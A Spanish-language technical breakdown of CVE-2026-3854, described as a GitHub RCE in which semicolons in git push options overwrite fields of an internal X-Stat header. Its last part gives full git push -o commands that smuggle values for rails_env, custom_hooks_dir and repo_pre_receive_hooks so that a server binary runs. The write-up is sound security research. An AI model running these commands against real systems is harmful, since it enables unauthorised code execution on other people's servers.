
Desglose técnico de CVE-2026-3854, una RCE en GitHub mediante inyección de cabeceras en git push, que explica la vulnerabilidad, la técnica de explotación y la mitigación.
Resumen práctico de cómo funciona la vulnerabilidad descubierta por Wiz Research en el pipeline interno de git push de GitHub.com y GitHub Enterprise Server.
Este material es con fines educativos y de investigación en seguridad ofensiva. La vulnerabilidad ya fue corregida por GitHub en todas las versiones soportadas. No intentes reproducirla contra entornos que no sean tuyos o para los que no tengas autorización explícita por escrito para probar. El acceso no autorizado a sistemas es un delito en Brasil (Ley 12.737/2012, conocida como Ley Carolina Dieckmann) y puede configurar invasión de dispositivo informático con pena de detención.
Un atacante autenticado consigue RCE en GitHub enviando ; en git push -o. El babeld (proxy interno de GitHub, punto de entrada de todo SSH) no higieniza, y el ; rompe el header interno X-Stat, sobrescribiendo campos de seguridad en los que gitrpcd confía ciegamente. Con 3 sobrescrituras (rails_env, custom_hooks_dir, repo_pre_receive_hooks), el pre-receive hook concatena y ejecuta un binario arbitrario del servidor como usuario git.

Básicamente conseguimos escribir en el header X-Stat porque no hay higienización del ; en el git push, y lo hacemos apuntando a un path del servidor objetivo, por ejemplo /bin, y así conseguimos concatenar con otro "campo" de ese header, el repo_pre_receive_hooks. Con esto, si ese campo es whoami, en la concatenación quedará /bin/ + whoami y se ejecutará directamente en el servidor.
Solo que por defecto en el X-Stat esos campos ya vienen todos prellenados por el babeld, ya que el RPC (gitrpcd) confía ciegamente en él para leerlos, porque cree que el usuario no tiene forma de modificarlos:
A continuación, un ejemplo de cómo el babeld rellena los campos en el X-Stat:
rails_env=production;
user_id=int:42531;
user_login=paulo.werneck;
repo_id=int:8821;
repo_path=/data/repositories/a/b/cd/ef/12/8821.git;
operator_mode=bool:false;
user_operator_mode=bool:false;
custom_hooks_dir=/data/user/git-hooks;
repo_pre_receive_hooks=[{"id":1,"script":"validate-commit.sh","enforcement":"required"}];
large_blob_rejection_enabled=bool:true;
max_blob_size=int:104857600;
reject_sha_like_refs=bool:true;
push_option_count=int:0
Solo que, debido a que no higieniza el ; durante el git push, puedes escribir directamente en él, y para rematar, es last-write-wins: la última escritura es la que vale. Entonces, si hago:
git push -o "x;rails_env=production" -o "x;custom_hooks_dir=/bin" -o "x;repo_pre_receive_hooks=[{\"script\":\"whoami\"}]"
Los campos sobrescritos quedan así:
custom_hooks_dir=/bin
repo_pre_receive_hooks=whoami
(No es tan simple como en el ejemplo anterior de solo poner whoami. En realidad es un JSON, así que sería algo más parecido a [{"script":"whoami"}].)
Y entonces, en una versión vulnerable, ejecutará el binario whoami en el servidor.
Pero solo con eso, aún se ejecutará únicamente en el sandbox. Por eso es importante modificar un parámetro más en el header X-Stat: el rails_env=production. Debe ser cualquier cosa que no sea production.
Finalmente, el script malicioso quedaría así:
git push -o "x;rails_env=development" -o "x;custom_hooks_dir=/bin" -o "x;repo_pre_receive_hooks=[{\"script\":\"whoami\"}]"